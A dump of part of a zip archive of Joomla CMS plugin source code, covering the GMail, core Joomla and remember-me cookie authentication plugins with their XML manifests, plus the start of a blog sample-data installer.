	 * Shortcut method to build a LDAP search based on a semicolon separated string
	 *
	 * Note that this method requires that semicolons which should be part of the search term to be escaped
	 * to correctly split the search string into separate lookups
	 *
	 * @param   string      $search  search string of search values
	 * @param   LdapClient  $ldap    The LDAP client
	 *
	 * @return  array  Search results
	 *
	 * @since   3.8.2
	 */
	private static function searchByString($search, LdapClient $ldap)
	{
		$results = explode(';', $search);

		foreach ($results as $key => $result)
		{
			$results[$key] = '(' . str_replace('\3b', ';', $result) . ')';
		}

		return $ldap->search($results);
	}
}
PK�(]��,	,	authentication/gmail/gmail.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="authentication" method="upgrade">
	<name>plg_authentication_gmail</name>
	<author>Joomla! Project</author>
	<creationDate>February 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_GMAIL_XML_DESCRIPTION</description>
	<files>
		<filename plugin="gmail">gmail.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_authentication_gmail.ini</language>
		<language tag="en-GB">en-GB.plg_authentication_gmail.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="applysuffix"
					type="list"
					label="PLG_GMAIL_FIELD_APPLYSUFFIX_LABEL"
					description="PLG_GMAIL_FIELD_APPLYSUFFIX_DESC"
					default="0"
					filter="integer"
					>
					<option value="0">PLG_GMAIL_FIELD_VALUE_NOAPPLYSUFFIX</option>
					<option value="1">PLG_GMAIL_FIELD_VALUE_APPLYSUFFIXMISSING</option>
					<option value="2">PLG_GMAIL_FIELD_VALUE_APPLYSUFFIXALWAYS</option>
				</field>

				<field
					name="suffix"
					type="text"
					label="PLG_GMAIL_FIELD_SUFFIX_LABEL"
					description="PLG_GMAIL_FIELD_SUFFIX_DESC"
					size="20"
					showon="applysuffix:1,2"
				/>

				<field
					name="verifypeer"
					type="radio"
					label="PLG_GMAIL_FIELD_VERIFYPEER_LABEL"
					description="PLG_GMAIL_FIELD_VERIFYPEER_DESC"
					default="1"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="user_blacklist"
					type="text"
					label="PLG_GMAIL_FIELD_USER_BLACKLIST_LABEL"
					description="PLG_GMAIL_FIELD_USER_BLACKLIST_DESC"
					size="20"
				/>

				<field
					name="backendLogin"
					type="radio"
					label="PLG_GMAIL_FIELD_BACKEND_LOGIN_LABEL"
					description="PLG_GMAIL_FIELD_BACKEND_LOGIN_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JENABLED</option>
					<option value="0">JDISABLED</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]�f�]]authentication/gmail/gmail.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Authentication.gmail
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Authentication\AuthenticationResponse;
use Joomla\Registry\Registry;

/**
 * GMail Authentication Plugin
 *
 * @since  1.5
 */
class PlgAuthenticationGMail extends JPlugin
{
	/**
	 * This method should handle any authentication and report back to the subject
	 *
	 * @param   array                   $credentials  Array holding the user credentials
	 * @param   array                   $options      Array of extra options
	 * @param   AuthenticationResponse  &$response    Authentication response object
	 *
	 * @return  void
	 *
	 * @since   1.5
	 */
	public function onUserAuthenticate($credentials, $options, &$response)
	{
		// Load plugin language
		$this->loadLanguage();

		// No backend authentication
		if (JFactory::getApplication()->isClient('administrator') && !$this->params->get('backendLogin', 0))
		{
			return;
		}

		$success = false;

		$curlParams = array(
			'follow_location' => true,
			'transport.curl'  => array(
				CURLOPT_SSL_VERIFYPEER => $this->params->get('verifypeer', 1)
			),
		);

		$transportParams = new Registry($curlParams);

		try
		{
			$http = JHttpFactory::getHttp($transportParams, 'curl');
		}
		catch (RuntimeException $e)
		{
			$response->status        = JAuthentication::STATUS_FAILURE;
			$response->type          = 'GMail';
			$response->error_message = JText::sprintf('JGLOBAL_AUTH_FAILED', JText::_('JGLOBAL_AUTH_CURL_NOT_INSTALLED'));

			return;
		}

		// Check if we have a username and password
		if ($credentials['username'] === '' || $credentials['password'] === '')
		{
			$response->type          = 'GMail';
			$response->status        = JAuthentication::STATUS_FAILURE;
			$response->error_message = JText::sprintf('JGLOBAL_AUTH_FAILED', JText::_('JGLOBAL_AUTH_USER_BLACKLISTED'));

			return;
		}

		$blacklist = explode(',', $this->params->get('user_blacklist', ''));

		// Check if the username isn't blacklisted
		if (in_array($credentials['username'], $blacklist))
		{
			$response->type          = 'GMail';
			$response->status        = JAuthentication::STATUS_FAILURE;
			$response->error_message = JText::sprintf('JGLOBAL_AUTH_FAILED', JText::_('JGLOBAL_AUTH_USER_BLACKLISTED'));

			return;
		}

		$suffix      = $this->params->get('suffix', '');
		$applysuffix = $this->params->get('applysuffix', 0);
		$offset      = strpos($credentials['username'], '@');

		// Check if we want to do suffix stuff, typically for Google Apps for Your Domain
		if ($suffix && $applysuffix)
		{
			if ($applysuffix == 1 && $offset === false)
			{
				// Apply suffix if missing
				$credentials['username'] .= '@' . $suffix;
			}
			elseif ($applysuffix == 2)
			{
				// Always use suffix
				if ($offset)
				{
					// If we already have an @, get rid of it and replace it
					$credentials['username'] = substr($credentials['username'], 0, $offset);
				}

				$credentials['username'] .= '@' . $suffix;
			}
		}

		$headers = array(
			'Authorization' => 'Basic ' . base64_encode($credentials['username'] . ':' . $credentials['password'])
		);

		try
		{
			$result = $http->get('https://mail.google.com/mail/feed/atom', $headers);
		}
		catch (Exception $e)
		{
			$response->status        = JAuthentication::STATUS_FAILURE;
			$response->type          = 'GMail';
			$response->error_message = JText::sprintf('JGLOBAL_AUTH_FAILED', JText::_('JGLOBAL_AUTH_UNKNOWN_ACCESS_DENIED'));

			return;
		}

		$code = $result->code;

		switch ($code)
		{
			case 200 :
				$message = JText::_('JGLOBAL_AUTH_ACCESS_GRANTED');
				$success = true;
				break;

			case 401 :
				$message = JText::_('JGLOBAL_AUTH_ACCESS_DENIED');
				break;

			default :
				$message = JText::_('JGLOBAL_AUTH_UNKNOWN_ACCESS_DENIED');
				break;
		}

		$response->type = 'GMail';

		if (!$success)
		{
			$response->status        = JAuthentication::STATUS_FAILURE;
			$response->error_message = JText::sprintf('JGLOBAL_AUTH_FAILED', $message);

			return;
		}

		if (strpos($credentials['username'], '@') === false)
		{
			if ($suffix)
			{
				// If there is a suffix then we want to apply it
				$email = $credentials['username'] . '@' . $suffix;
			}
			else
			{
				// If there isn't a suffix just use the default gmail one
				$email = $credentials['username'] . '@gmail.com';
			}
		}
		else
		{
			// The username looks like an email address (probably is) so use that
			$email = $credentials['username'];
		}

		// Extra security checks with existing local accounts
		$db                  = JFactory::getDbo();
		$localUsernameChecks = array(strstr($email, '@', true), $email);

		$query = $db->getQuery(true)
			->select('id, activation, username, email, block')
			->from('#__users')
			->where('username IN(' . implode(',', array_map(array($db, 'quote'), $localUsernameChecks)) . ')'
				. ' OR email = ' . $db->quote($email)
			);

		$db->setQuery($query);

		if ($localUsers = $db->loadObjectList())
		{
			foreach ($localUsers as $localUser)
			{
				// Local user exists with same username but different email address
				if ($email !== $localUser->email)
				{
					$response->status        = JAuthentication::STATUS_FAILURE;
					$response->error_message = JText::sprintf('JGLOBAL_AUTH_FAILED', JText::_('PLG_GMAIL_ERROR_LOCAL_USERNAME_CONFLICT'));

					return;
				}
				else
				{
					// Existing user disabled locally
					if ($localUser->block || !empty($localUser->activation))
					{
						$response->status        = JAuthentication::STATUS_FAILURE;
						$response->error_message = JText::_('JGLOBAL_AUTH_ACCESS_DENIED');

						return;
					}

					// We will always keep the local username for existing accounts
					$credentials['username'] = $localUser->username;

					break;
				}
			}
		}
		elseif (JFactory::getApplication()->isClient('administrator'))
		{
			// We wont' allow backend access without local account
			$response->status        = JAuthentication::STATUS_FAILURE;
			$response->error_message = JText::_('JERROR_LOGIN_DENIED');

			return;
		}

		$response->status        = JAuthentication::STATUS_SUCCESS;
		$response->error_message = '';
		$response->email         = $email;

		// Reset the username to what we ended up using
		$response->username = $credentials['username'];
		$response->fullname = $credentials['username'];
	}
}
PK�(]cH��� authentication/joomla/joomla.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Authentication.joomla
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Joomla Authentication plugin
 *
 * @since  1.5
 */
class PlgAuthenticationJoomla extends JPlugin
{
	/**
	 * This method should handle any authentication and report back to the subject
	 *
	 * @param   array   $credentials  Array holding the user credentials
	 * @param   array   $options      Array of extra options
	 * @param   object  &$response    Authentication response object
	 *
	 * @return  void
	 *
	 * @since   1.5
	 */
	public function onUserAuthenticate($credentials, $options, &$response)
	{
		$response->type = 'Joomla';

		// Joomla does not like blank passwords
		if (empty($credentials['password']))
		{
			$response->status        = JAuthentication::STATUS_FAILURE;
			$response->error_message = JText::_('JGLOBAL_AUTH_EMPTY_PASS_NOT_ALLOWED');

			return;
		}

		// Get a database object
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('id, password')
			->from('#__users')
			->where('username=' . $db->quote($credentials['username']));

		$db->setQuery($query);
		$result = $db->loadObject();

		if ($result)
		{
			$match = JUserHelper::verifyPassword($credentials['password'], $result->password, $result->id);

			if ($match === true)
			{
				// Bring this in line with the rest of the system
				$user               = JUser::getInstance($result->id);
				$response->email    = $user->email;
				$response->fullname = $user->name;

				if (JFactory::getApplication()->isClient('administrator'))
				{
					$response->language = $user->getParam('admin_language');
				}
				else
				{
					$response->language = $user->getParam('language');
				}

				$response->status        = JAuthentication::STATUS_SUCCESS;
				$response->error_message = '';
			}
			else
			{
				// Invalid password
				$response->status        = JAuthentication::STATUS_FAILURE;
				$response->error_message = JText::_('JGLOBAL_AUTH_INVALID_PASS');
			}
		}
		else
		{
			// Let's hash the entered password even if we don't have a matching user for some extra response time
			// By doing so, we mitigate side channel user enumeration attacks
			JUserHelper::hashPassword($credentials['password']);

			// Invalid user
			$response->status        = JAuthentication::STATUS_FAILURE;
			$response->error_message = JText::_('JGLOBAL_AUTH_NO_USER');
		}

		// Check the two factor authentication
		if ($response->status === JAuthentication::STATUS_SUCCESS)
		{
			$methods = JAuthenticationHelper::getTwoFactorMethods();

			if (count($methods) <= 1)
			{
				// No two factor authentication method is enabled
				return;
			}

			JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_users/models', 'UsersModel');

			/** @var UsersModelUser $model */
			$model = JModelLegacy::getInstance('User', 'UsersModel', array('ignore_request' => true));

			// Load the user's OTP (one time password, a.k.a. two factor auth) configuration
			if (!array_key_exists('otp_config', $options))
			{
				$otpConfig             = $model->getOtpConfig($result->id);
				$options['otp_config'] = $otpConfig;
			}
			else
			{
				$otpConfig = $options['otp_config'];
			}

			// Check if the user has enabled two factor authentication
			if (empty($otpConfig->method) || ($otpConfig->method === 'none'))
			{
				// Warn the user if they are using a secret code but they have not
				// enabled two factor auth in their account.
				if (!empty($credentials['secretkey']))
				{
					try
					{
						$app = JFactory::getApplication();

						$this->loadLanguage();

						$app->enqueueMessage(JText::_('PLG_AUTH_JOOMLA_ERR_SECRET_CODE_WITHOUT_TFA'), 'warning');
					}
					catch (Exception $exc)
					{
						// This happens when we are in CLI mode. In this case
						// no warning is issued
						return;
					}
				}

				return;
			}

			// Try to validate the OTP
			FOFPlatform::getInstance()->importPlugin('twofactorauth');

			$otpAuthReplies = FOFPlatform::getInstance()->runPlugins('onUserTwofactorAuthenticate', array($credentials, $options));

			$check = false;

			/*
			 * This looks like noob code but DO NOT TOUCH IT and do not convert
			 * to in_array(). During testing in_array() inexplicably returned
			 * null when the OTEP begins with a zero! o_O
			 */
			if (!empty($otpAuthReplies))
			{
				foreach ($otpAuthReplies as $authReply)
				{
					$check = $check || $authReply;
				}
			}

			// Fall back to one time emergency passwords
			if (!$check)
			{
				// Did the user use an OTEP instead?
				if (empty($otpConfig->otep))
				{
					if (empty($otpConfig->method) || ($otpConfig->method === 'none'))
					{
						// Two factor authentication is not enabled on this account.
						// Any string is assumed to be a valid OTEP.

						return;
					}
					else
					{
						/*
						 * Two factor authentication enabled and no OTEPs defined. The
						 * user has used them all up. Therefore anything they enter is
						 * an invalid OTEP.
						 */
						$response->status        = JAuthentication::STATUS_FAILURE;
						$response->error_message = JText::_('JGLOBAL_AUTH_INVALID_SECRETKEY');

						return;
					}
				}

				// Clean up the OTEP (remove dashes, spaces and other funny stuff
				// our beloved users may have unwittingly stuffed in it)
				$otep  = $credentials['secretkey'];
				$otep  = filter_var($otep, FILTER_SANITIZE_NUMBER_INT);
				$otep  = str_replace('-', '', $otep);
				$check = false;

				// Did we find a valid OTEP?
				if (in_array($otep, $otpConfig->otep))
				{
					// Remove the OTEP from the array
					$otpConfig->otep = array_diff($otpConfig->otep, array($otep));

					$model->setOtpConfig($result->id, $otpConfig);

					// Return true; the OTEP was a valid one
					$check = true;
				}
			}

			if (!$check)
			{
				$response->status        = JAuthentication::STATUS_FAILURE;
				$response->error_message = JText::_('JGLOBAL_AUTH_INVALID_SECRETKEY');
			}
		}
	}
}
PK�(]  �$$ authentication/joomla/joomla.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="authentication" method="upgrade">
	<name>plg_authentication_joomla</name>
	<author>Joomla! Project</author>
	<creationDate>November 2005</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_AUTH_JOOMLA_XML_DESCRIPTION</description>
	<files>
		<filename plugin="joomla">joomla.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_authentication_joomla.ini</language>
		<language tag="en-GB">en-GB.plg_authentication_joomla.sys.ini</language>
	</languages>
</extension>
PK�(]��3��-�- authentication/cookie/cookie.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Authentication.cookie
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Joomla Authentication plugin
 *
 * @since  3.2
 * @note   Code based on http://jaspan.com/improved_persistent_login_cookie_best_practice
 *         and http://fishbowl.pastiche.org/2004/01/19/persistent_login_cookie_best_practice/
 */
class PlgAuthenticationCookie extends JPlugin
{
	/**
	 * Application object
	 *
	 * @var    JApplicationCms
	 * @since  3.2
	 */
	protected $app;

	/**
	 * Database object
	 *
	 * @var    JDatabaseDriver
	 * @since  3.2
	 */
	protected $db;

	/**
	 * Reports the privacy related capabilities for this plugin to site administrators.
	 *
	 * @return  array
	 *
	 * @since   3.9.0
	 */
	public function onPrivacyCollectAdminCapabilities()
	{
		$this->loadLanguage();

		return array(
			JText::_('PLG_AUTHENTICATION_COOKIE') => array(
				JText::_('PLG_AUTH_COOKIE_PRIVACY_CAPABILITY_COOKIE'),
			)
		);
	}

	/**
	 * This method should handle any authentication and report back to the subject
	 *
	 * @param   array   $credentials  Array holding the user credentials
	 * @param   array   $options      Array of extra options
	 * @param   object  &$response    Authentication response object
	 *
	 * @return  boolean
	 *
	 * @since   3.2
	 */
	public function onUserAuthenticate($credentials, $options, &$response)
	{
		// No remember me for admin
		if ($this->app->isClient('administrator'))
		{
			return false;
		}

		// Get cookie
		$cookieName  = 'joomla_remember_me_' . JUserHelper::getShortHashedUserAgent();
		$cookieValue = $this->app->input->cookie->get($cookieName);

		// Try with old cookieName (pre 3.6.0) if not found
		if (!$cookieValue)
		{
			$cookieName  = JUserHelper::getShortHashedUserAgent();
			$cookieValue = $this->app->input->cookie->get($cookieName);
		}

		if (!$cookieValue)
		{
			return false;
		}

		$cookieArray = explode('.', $cookieValue);

		// Check for valid cookie value
		if (count($cookieArray) !== 2)
		{
			// Destroy the cookie in the browser.
			$this->app->input->cookie->set($cookieName, '', 1, $this->app->get('cookie_path', '/'), $this->app->get('cookie_domain', ''));
			JLog::add('Invalid cookie detected.', JLog::WARNING, 'error');

			return false;
		}

		$response->type = 'Cookie';

		// Filter series since we're going to use it in the query
		$filter = new JFilterInput;
		$series = $filter->clean($cookieArray[1], 'ALNUM');

		// Remove expired tokens
		$query = $this->db->getQuery(true)
			->delete('#__user_keys')
			->where($this->db->quoteName('time') . ' < ' . $this->db->quote(time()));

		try
		{
			$this->db->setQuery($query)->execute();
		}
		catch (RuntimeException $e)
		{
			// We aren't concerned with errors from this query, carry on
		}

		// Find the matching record if it exists.
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName(array('user_id', 'token', 'series', 'time')))
			->from($this->db->quoteName('#__user_keys'))
			->where($this->db->quoteName('series') . ' = ' . $this->db->quote($series))
			->where($this->db->quoteName('uastring') . ' = ' . $this->db->quote($cookieName))
			->order($this->db->quoteName('time') . ' DESC');

		try
		{
			$results = $this->db->setQuery($query)->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			$response->status = JAuthentication::STATUS_FAILURE;

			return false;
		}

		if (count($results) !== 1)
		{
			// Destroy the cookie in the browser.
			$this->app->input->cookie->set($cookieName, '', 1, $this->app->get('cookie_path', '/'), $this->app->get('cookie_domain', ''));
			$response->status = JAuthentication::STATUS_FAILURE;

			return false;
		}

		// We have a user with one cookie with a valid series and a corresponding record in the database.
		if (!JUserHelper::verifyPassword($cookieArray[0], $results[0]->token))
		{
			/*
			 * This is a real attack!
			 * Either the series was guessed correctly or a cookie was stolen and used twice (once by attacker and once by victim).
			 * Delete all tokens for this user!
			 */
			$query = $this->db->getQuery(true)
				->delete('#__user_keys')
				->where($this->db->quoteName('user_id') . ' = ' . $this->db->quote($results[0]->user_id));

			try
			{
				$this->db->setQuery($query)->execute();
			}
			catch (RuntimeException $e)
			{
				// Log an alert for the site admin
				JLog::add(
					sprintf('Failed to delete cookie token for user %s with the following error: %s', $results[0]->user_id, $e->getMessage()),
					JLog::WARNING,
					'security'
				);
			}

			// Destroy the cookie in the browser.
			$this->app->input->cookie->set($cookieName, '', 1, $this->app->get('cookie_path', '/'), $this->app->get('cookie_domain', ''));

			// Issue warning by email to user and/or admin?
			JLog::add(JText::sprintf('PLG_AUTH_COOKIE_ERROR_LOG_LOGIN_FAILED', $results[0]->user_id), JLog::WARNING, 'security');
			$response->status = JAuthentication::STATUS_FAILURE;

			return false;
		}

		// Make sure there really is a user with this name and get the data for the session.
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName(array('id', 'username', 'password')))
			->from($this->db->quoteName('#__users'))
			->where($this->db->quoteName('username') . ' = ' . $this->db->quote($results[0]->user_id))
			->where($this->db->quoteName('requireReset') . ' = 0');

		try
		{
			$result = $this->db->setQuery($query)->loadObject();
		}
		catch (RuntimeException $e)
		{
			$response->status = JAuthentication::STATUS_FAILURE;

			return false;
		}

		if ($result)
		{
			// Bring this in line with the rest of the system
			$user = JUser::getInstance($result->id);

			// Set response data.
			$response->username = $result->username;
			$response->email    = $user->email;
			$response->fullname = $user->name;
			$response->password = $result->password;
			$response->language = $user->getParam('language');

			// Set response status.
			$response->status        = JAuthentication::STATUS_SUCCESS;
			$response->error_message = '';
		}
		else
		{
			$response->status        = JAuthentication::STATUS_FAILURE;
			$response->error_message = JText::_('JGLOBAL_AUTH_NO_USER');
		}
	}

	/**
	 * We set the authentication cookie only after login is successfully finished.
	 * We set a new cookie either for a user with no cookies or one
	 * where the user used a cookie to authenticate.
	 *
	 * @param   array  $options  Array holding options
	 *
	 * @return  boolean  True on success
	 *
	 * @since   3.2
	 */
	public function onUserAfterLogin($options)
	{
		// No remember me for admin
		if ($this->app->isClient('administrator'))
		{
			return false;
		}

		if (isset($options['responseType']) && $options['responseType'] === 'Cookie')
		{
			// Logged in using a cookie
			$cookieName = 'joomla_remember_me_' . JUserHelper::getShortHashedUserAgent();

			// We need the old data to get the existing series
			$cookieValue = $this->app->input->cookie->get($cookieName);

			// Try with old cookieName (pre 3.6.0) if not found
			if (!$cookieValue)
			{
				$oldCookieName = JUserHelper::getShortHashedUserAgent();
				$cookieValue   = $this->app->input->cookie->get($oldCookieName);

				// Destroy the old cookie in the browser
				$this->app->input->cookie->set($oldCookieName, '', 1, $this->app->get('cookie_path', '/'), $this->app->get('cookie_domain', ''));
			}

			$cookieArray = explode('.', $cookieValue);

			// Filter series since we're going to use it in the query
			$filter = new JFilterInput;
			$series = $filter->clean($cookieArray[1], 'ALNUM');
		}
		elseif (!empty($options['remember']))
		{
			// Remember checkbox is set
			$cookieName = 'joomla_remember_me_' . JUserHelper::getShortHashedUserAgent();

			// Create a unique series which will be used over the lifespan of the cookie
			$unique     = false;
			$errorCount = 0;

			do
			{
				$series = JUserHelper::genRandomPassword(20);
				$query  = $this->db->getQuery(true)
					->select($this->db->quoteName('series'))
					->from($this->db->quoteName('#__user_keys'))
					->where($this->db->quoteName('series') . ' = ' . $this->db->quote($series));

				try
				{
					$results = $this->db->setQuery($query)->loadResult();

					if ($results === null)
					{
						$unique = true;
					}
				}
				catch (RuntimeException $e)
				{
					$errorCount++;

					// We'll let this query fail up to 5 times before giving up, there's probably a bigger issue at this point
					if ($errorCount === 5)
					{
						return false;
					}
				}
			}

			while ($unique === false);
		}
		else
		{
			return false;
		}

		// Get the parameter values
		$lifetime = $this->params->get('cookie_lifetime', 60) * 24 * 60 * 60;
		$length   = $this->params->get('key_length', 16);

		// Generate new cookie
		$token       = JUserHelper::genRandomPassword($length);
		$cookieValue = $token . '.' . $series;

		// Overwrite existing cookie with new value
		$this->app->input->cookie->set(
			$cookieName,
			$cookieValue,
			time() + $lifetime,
			$this->app->get('cookie_path', '/'),
			$this->app->get('cookie_domain', ''),
			$this->app->isHttpsForced(),
			true
		);

		$query = $this->db->getQuery(true);

		if (!empty($options['remember']))
		{
			// Create new record
			$query
				->insert($this->db->quoteName('#__user_keys'))
				->set($this->db->quoteName('user_id') . ' = ' . $this->db->quote($options['user']->username))
				->set($this->db->quoteName('series') . ' = ' . $this->db->quote($series))
				->set($this->db->quoteName('uastring') . ' = ' . $this->db->quote($cookieName))
				->set($this->db->quoteName('time') . ' = ' . (time() + $lifetime));
		}
		else
		{
			// Update existing record with new token
			$query
				->update($this->db->quoteName('#__user_keys'))
				->where($this->db->quoteName('user_id') . ' = ' . $this->db->quote($options['user']->username))
				->where($this->db->quoteName('series') . ' = ' . $this->db->quote($series))
				->where($this->db->quoteName('uastring') . ' = ' . $this->db->quote($cookieName));
		}

		$hashedToken = JUserHelper::hashPassword($token);

		$query->set($this->db->quoteName('token') . ' = ' . $this->db->quote($hashedToken));

		try
		{
			$this->db->setQuery($query)->execute();
		}
		catch (RuntimeException $e)
		{
			return false;
		}

		return true;
	}

	/**
	 * This is where we delete any authentication cookie when a user logs out
	 *
	 * @param   array  $options  Array holding options (length, timeToExpiration)
	 *
	 * @return  boolean  True on success
	 *
	 * @since   3.2
	 */
	public function onUserAfterLogout($options)
	{
		// No remember me for admin
		if ($this->app->isClient('administrator'))
		{
			return false;
		}

		$cookieName  = 'joomla_remember_me_' . JUserHelper::getShortHashedUserAgent();
		$cookieValue = $this->app->input->cookie->get($cookieName);

		// There are no cookies to delete.
		if (!$cookieValue)
		{
			return true;
		}

		$cookieArray = explode('.', $cookieValue);

		// Filter series since we're going to use it in the query
		$filter = new JFilterInput;
		$series = $filter->clean($cookieArray[1], 'ALNUM');

		// Remove the record from the database
		$query = $this->db->getQuery(true)
			->delete('#__user_keys')
			->where($this->db->quoteName('series') . ' = ' . $this->db->quote($series));

		try
		{
			$this->db->setQuery($query)->execute();
		}
		catch (RuntimeException $e)
		{
			// We aren't concerned with errors from this query, carry on
		}

		// Destroy the cookie
		$this->app->input->cookie->set($cookieName, '', 1, $this->app->get('cookie_path', '/'), $this->app->get('cookie_domain', ''));

		return true;
	}
}
PK�(]G���� authentication/cookie/cookie.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.2" type="plugin" group="authentication" method="upgrade">
	<name>plg_authentication_cookie</name>
	<author>Joomla! Project</author>
	<creationDate>July 2013</creationDate>
	<copyright>(C) 2013 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_AUTH_COOKIE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="cookie">cookie.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_authentication_cookie.ini</language>
		<language tag="en-GB">en-GB.plg_authentication_cookie.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="cookie_lifetime"
					type="number"
					label="PLG_AUTH_COOKIE_FIELD_COOKIE_LIFETIME_LABEL"
					description="PLG_AUTH_COOKIE_FIELD_COOKIE_LIFETIME_DESC"
					default="60"
					filter="integer"
					required="true"
				/>

				<field
					name="key_length"
					type="list"
					label="PLG_AUTH_COOKIE_FIELD_KEY_LENGTH_LABEL"
					description="PLG_AUTH_COOKIE_FIELD_KEY_LENGTH_DESC"
					default="16"
					filter="integer"
					required="true"
					>
					<option value="8">8</option>
					<option value="16">16</option>
					<option value="32">32</option>
					<option value="64">64</option>
				</field>

			</fieldset>
		</fields>
	</config>
</extension>
PK�(]2�b||sampledata/blog/blog.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Sampledata.Blog
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Session\Session;

/**
 * Sampledata - Blog Plugin
 *
 * @since  3.8.0
 */
class PlgSampledataBlog extends JPlugin
{
	/**
	 * Database object
	 *
	 * @var    JDatabaseDriver
	 *
	 * @since  3.8.0
	 */
	protected $db;

	/**
	 * Application object
	 *
	 * @var    JApplicationCms
	 *
	 * @since  3.8.0
	 */
	protected $app;

	/**
	 * Affects constructor behavior. If true, language files will be loaded automatically.
	 *
	 * @var    boolean
	 *
	 * @since  3.8.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Holds the menuitem model
	 *
	 * @var    MenusModelItem
	 *
	 * @since  3.8.0
	 */
	private $menuItemModel;

	/**
	 * Get an overview of the proposed sampledata.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since  3.8.0
	 */
	public function onSampledataGetOverview()
	{
		if (!Factory::getUser()->authorise('core.create', 'com_content'))
		{
			return;
		}

		$data              = new stdClass;
		$data->name        = $this->_name;
		$data->title       = JText::_('PLG_SAMPLEDATA_BLOG_OVERVIEW_TITLE');
		$data->description = JText::_('PLG_SAMPLEDATA_BLOG_OVERVIEW_DESC');
		$data->icon        = 'broadcast';
		$data->steps       = 3;

		return $data;
	}

	/**
	 * First step to enter the sampledata. Content.
	 *
	 * @return  array or void  Will be converted into the JSON response to the module.
	 *
	 * @since  3.8.0
	 */
	public function onAjaxSampledataApplyStep1()
	{
		if (!Session::checkToken('get') || $this->app->input->get('type') != $this->_name)
		{
			return;
		};

		if (!JComponentHelper::isEnabled('com_content') || !Factory::getUser()->authorise('core.create', 'com_content'))
		{
			$response            = array();
			$response['success'] = true;
			$response['message'] = JText::sprintf('PLG_SAMPLEDATA_BLOG_STEP_SKIPPED', 1, 'com_content');

			return $response;
		}

		// Get some metadata.
		$access = (int) $this->app->get('access', 1);
		$user   = JFactory::getUser();

		// Detect language to be used.
		$language   = Multilanguage::isEnabled() ? JFactory::getLanguage()->getTag() : '*';
		$langSuffix = ($language !== '*') ? ' (' . $language . ')' : '';

		// Add Include Paths.
		JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_content/models/', 'ContentModel');
		JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_content/tables/');
		JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_categories/models/', 'CategoriesModel');
		JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_categories/tables/');

		// Create "blog" category.
		$categoryModel = JModelLegacy::getInstance('Category', 'CategoriesModel');
		$catIds        = array();
		$categoryTitle = JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_CONTENT_CATEGORY_0_TITLE');
		$alias         = JApplicationHelper::stringURLSafe($categoryTitle);

		// Set unicodeslugs if alias is empty
		if (trim(str_replace('-', '', $alias) == ''))
		{
			$unicode = JFactory::getConfig()->set('unicodeslugs', 1);
			$alias = JApplicationHelper::stringURLSafe($categoryTitle);
			JFactory::getConfig()->set('unicodeslugs', $unicode);
		}

		$category      = array(
			'title'           => $categoryTitle . $langSuffix,
			'parent_id'       => 1,
			'id'              => 0,
			'published'       => 1,
			'access'          => $access,
			'created_user_id' => $user->id,
			'extension'       => 'com_content',
			'level'           => 1,
			'alias'           => $alias . $langSuffix,
			'associations'    => array(),
			'description'     => '',
			'language'        => $language,
			'params'          => '',
		);

		try
		{
			if (!$categoryModel->save($category))
			{
				throw new Exception($categoryModel->getError());
			}
		}
		catch (Exception $e)
		{
			$response            = array();
			$response['success'] = false;
